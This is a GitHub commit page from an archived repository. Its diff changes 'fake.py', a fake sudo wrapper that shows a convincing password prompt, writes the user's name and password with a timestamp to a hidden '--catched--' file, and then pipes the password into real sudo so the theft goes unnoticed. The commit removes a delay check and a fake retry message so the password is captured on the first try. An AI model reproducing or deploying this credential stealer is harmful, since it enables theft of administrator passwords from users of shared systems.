Skip to content
This repository has been archived by the owner on May 17, 2023. It is now read-only.

Commit

Permalink
You dont have to retype password now!
Browse files Browse the repository at this point in the history
  • Loading branch information
Visgean committed Jun 12, 2011
1 parent 3e65c90 commit 92f2510
Show file tree
Hide file tree
Showing 5 changed files with 11 additions and 47 deletions.
57 changes: 11 additions & 46 deletions fake.py
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -8,54 +8,30 @@

catchFile = "--catched--"




def fakeSudo():
def savePass(passwd):
try:
file = open(catchFile, 'a')
except:
file = open(catchFile, 'w')

catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.time()))
catch = "%s|%s|%s\n" % (getuser(), passwd, str(time.ctime()))
file.write(catch)
file.close()

def checkForTime():
"Function for making pauses betwen catching passes"
now = time.time()
minDelay = 2*24*60*60 # min delay is two days

try:
file = open(catchFile, 'r')
data = file.read()

for line in data.splitlines():
if now - float(line.split("|")[2]) < minDelay: # if the command was runned not more than two days ago
return False
return True # if code didnot returned anything yet then return true - there is no exception

except:
return True

if checkForTime():
# Catch pass:
try:
passwd = getpass("[fakesudo] password for %s: " % getuser())
except KeyboardInterrupt:
passwd = getpass("Password: ")
# Save pass:
savePass(passwd)
# Catch pass:
try:
passwd = getpass("[fakesudo] password for %s: " % getuser())
except KeyboardInterrupt:
passwd = getpass("Password: ")

# for some reason sudo have ~2 s pouse.
time.sleep(2)
print "Sorry, try again."
else:
pass
# Save pass:
savePass(passwd)

# Do the command:
sudocmd = " ".join(sys.argv[1:])
# change this to some python pipeline or what!
sudocmd = 'echo "%s" | sudo -s %s' % (passwd, " ".join(sys.argv[2:]))

os.system(sudocmd)


Expand Down Expand Up @@ -87,21 +63,10 @@ def typeSudo():
exit()





if mode == "sudo":
fakeSudo()

if mode == "type":
fakeType()










Empty file modified install.py
100755 → 100644
Empty file.
1 change: 0 additions & 1 deletion logNames

This file was deleted.

Empty file modified removeMe.py
100755 → 100644
Empty file.
Empty file modified showPasses.py
100755 → 100644
Empty file.

0 comments on commit 92f2510

Please sign in to comment.